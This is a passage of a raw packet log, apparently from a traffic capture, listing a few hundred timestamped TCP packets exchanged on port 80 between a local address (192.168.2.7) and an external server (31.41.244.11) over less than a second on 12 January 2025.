Jan 12, 2025 17:39:12.298801899 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.298830986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.298846960 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.298866034 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.298918009 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.298918009 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.298919916 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.298955917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.298989058 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.298999071 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.299036980 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.299053907 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.299089909 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.299097061 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.299097061 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.299144030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.299155951 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.299155951 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.299192905 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.299226999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.299258947 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.299261093 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.299261093 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.299290895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.299328089 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.299328089 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.299346924 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.299380064 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.299400091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.299412012 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.299446106 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.299478054 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.299478054 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.299478054 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.299478054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.299511909 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.299545050 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.299549103 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.299549103 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.299577951 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.299611092 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.299638033 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.299638033 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.299643993 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.299696922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.299696922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.353003979 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.353039026 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.353091002 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.353122950 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.353141069 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.353152037 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.353176117 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.353221893 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.353221893 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.353229046 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.353264093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.353290081 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.353296995 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.353331089 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.353343010 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.353343010 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.353368044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.353388071 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.353404045 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.353437901 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.353437901 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.353451967 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.353471994 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.353503942 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.353522062 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.353544950 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.353544950 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.353580952 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.353889942 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.353920937 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.353972912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.353981018 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.354027033 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.354044914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.354078054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.354098082 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.354114056 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.354142904 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.354161978 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.354196072 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.354207993 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.354223967 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.354227066 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.354259968 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.354310036 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.354321957 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.354350090 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.354402065 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.354402065 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.354402065 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.354437113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.354487896 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.354504108 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.354520082 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.354528904 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.354571104 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.354604006 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.354624033 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.354630947 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.354659081 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.354691029 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.354724884 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.354734898 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.354734898 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.354734898 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.354758024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.354792118 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.354823112 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.354835987 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.354835987 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.354835987 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.354856014 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.354888916 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.354899883 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.354899883 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.354922056 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.354955912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.354970932 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.354970932 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.354990959 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.355004072 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.355024099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.355057955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.355091095 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.355103016 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.355103016 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.355125904 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.355159044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.355190039 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.355195999 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.355195999 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.355222940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.355245113 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.355245113 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.355257988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.355290890 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.355339050 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.355339050 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.355339050 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.355345964 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.355376005 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.355406046 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.355437994 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.355469942 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.355479956 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.355479956 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.355479956 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.355503082 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.355532885 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.355535984 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.355570078 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.355602980 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.355618954 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.355618954 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.355618954 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.355635881 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.355679035 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.355679035 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.382373095 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.382405996 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.382457018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.382462978 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.382509947 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.382510900 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.382560015 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.382567883 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.382594109 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.382621050 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.382643938 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.382651091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.382678986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.382683992 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.382729053 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.382733107 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.382762909 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.382793903 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.382826090 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.382834911 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.382834911 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.382834911 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.382858992 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.382894039 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.382925987 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.382935047 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.382935047 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.382935047 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.382960081 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.382972956 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.382992029 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.383018970 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.383025885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.383055925 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.383089066 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.383097887 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.383097887 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.383097887 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.383121967 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.383152962 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.383186102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.383194923 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.383194923 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.383194923 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.383229017 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.383250952 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.383280993 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.383332014 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.383341074 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.383341074 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.383389950 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.383402109 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.383441925 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.383464098 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.383492947 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.383500099 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.383526087 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.383558989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.383589029 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.383599997 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.383599997 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.383599997 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.383622885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.383658886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.383691072 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.383699894 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.383699894 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.383699894 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.383724928 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.383758068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.383791924 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.383799076 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.383799076 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.383799076 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.383867979 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.383871078 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.383903027 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.383965015 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.383965015 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.385092020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.385143995 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.385195971 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.385227919 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.385241032 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.385241032 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.385262966 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.385294914 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.385332108 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.385344028 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.385344028 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.385344028 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.385382891 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.385390997 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.385433912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.385462046 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.385483980 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.385483980 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.385493994 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.385526896 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.385559082 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.385570049 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.385570049 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.385570049 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.385591984 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.385611057 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.385626078 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.385648966 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.385660887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.385695934 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.385729074 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.385736942 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.385736942 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.385736942 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.385761976 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.385795116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.385804892 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.385804892 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.385827065 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.385865927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.385878086 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.385891914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.385909081 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.385955095 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.385955095 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.439270020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.439297915 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.439341068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.439353943 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.439366102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.439388990 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.439400911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.439415932 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.439425945 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.439435959 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.439450026 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.439451933 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.439461946 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.439474106 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.439486980 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.439507008 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.439513922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.439513922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.439513922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.439518929 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.439532042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.439582109 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.439582109 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.439582109 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440013885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440026999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440049887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440063000 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440073013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440084934 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440092087 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440092087 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440092087 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440105915 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440119982 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440126896 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440129995 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440143108 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440145016 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440145016 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440162897 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440171003 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440181971 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440196037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440207005 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440217972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440232038 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440232038 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440232038 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440237045 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440248966 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440253019 CET	49975	80	192.168.2.7	31.41.244.11
